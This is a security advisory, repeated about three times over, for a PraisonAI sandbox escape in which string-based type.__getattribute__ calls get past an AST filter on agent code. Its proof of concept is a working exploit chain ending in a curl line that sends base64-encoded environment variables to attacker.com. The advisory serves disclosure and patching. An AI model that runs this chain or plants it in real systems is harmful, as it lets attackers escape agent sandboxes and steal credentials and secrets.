CVE-2026-40158

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.getattribute trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like subclasses, globals, and bases. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string 'subclasses' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.getattribute trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like subclasses, globals, and bases. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string 'subclasses' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

• Access sensitive data such as environment variables, API keys, and local files
• Execute arbitrary system commands
• Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.getattribute trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like subclasses, globals, and bases. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string 'subclasses' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

PraisonAI is a multi-agent teams system. Prior to 4.5.128, PraisonAI's AST-based Python sandbox can be bypassed using type.getattribute trampoline, allowing arbitrary code execution when running untrusted agent code. The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like subclasses, globals, and bases. However, the filter only checks ast.Attribute nodes, allowing a bypass. The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions. The string 'subclasses' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list. This vulnerability is fixed in 4.5.128.

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

• Access sensitive data such as environment variables, API keys, and local files
• Execute arbitrary system commands
• Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)

PraisonAI's AST-based Python sandbox can be bypassed using type.__getattribute__ trampoline, allowing arbitrary code execution when running untrusted agent code.

Description

The _execute_code_direct function in praisonaiagents/tools/python_tools.py uses AST filtering to block dangerous Python attributes like __subclasses__, __globals__, and __bases__. However, the filter only checks ast.Attribute nodes, allowing bypass via:

The sandbox relies on AST-based filtering of attribute access but fails to account for dynamic attribute resolution via built-in methods such as type.getattribute, resulting in incomplete enforcement of security restrictions.

type.__getattribute__(obj, '__subclasses__')  # Bypasses filter

The string '__subclasses__' is an ast.Constant, not an ast.Attribute, so it is never checked against the blocked list.

Proof of Concept

# This code bypasses the sandbox and achieves RCE
t = type
int_cls = t(1)

# Bypass blocked __bases__ via type.__getattribute__
bases = t.__getattribute__(int_cls, '__bases__')
obj_cls = bases[0]

# Bypass blocked __subclasses__
subclasses_fn = t.__getattribute__(obj_cls, '__subclasses__')
all_subclasses = subclasses_fn()

# Find _wrap_close class
for c in all_subclasses:
    if t.__getattribute__(c, '__name__') == '_wrap_close':
        # Get __init__.__globals__ via bypass
        init = t.__getattribute__(c, '__init__')
        glb = type(init).__getattribute__(init, '__globals__')
        
        # Get system function and execute
        system = glb['system']
        system('curl https://attacker.com/steal --data "$(env | base64)"')

Impact

This vulnerability allows attackers to escape the intended Python sandbox and execute arbitrary code with the privileges of the host process.

An attacker can:

• Access sensitive data such as environment variables, API keys, and local files
• Execute arbitrary system commands
• Modify or delete files on the system

In environments that execute untrusted code (e.g., multi-tenant agent platforms, CI/CD pipelines, or shared systems), this can lead to full system compromise, data exfiltration, and potential lateral movement within the infrastructure.

Affected Code

# praisonaiagents/tools/python_tools.py (approximate)
def _execute_code_direct(code, ...):
    tree = ast.parse(code)
    
    for node in ast.walk(tree):
        # Only checks ast.Attribute nodes
        if isinstance(node, ast.Attribute) and node.attr in blocked_attrs:
            raise SecurityError(...)
    
    # Bypass: string arguments are not checked
    exec(compiled, safe_globals)

Reporter: Lakshmikanthan K (letchupkt)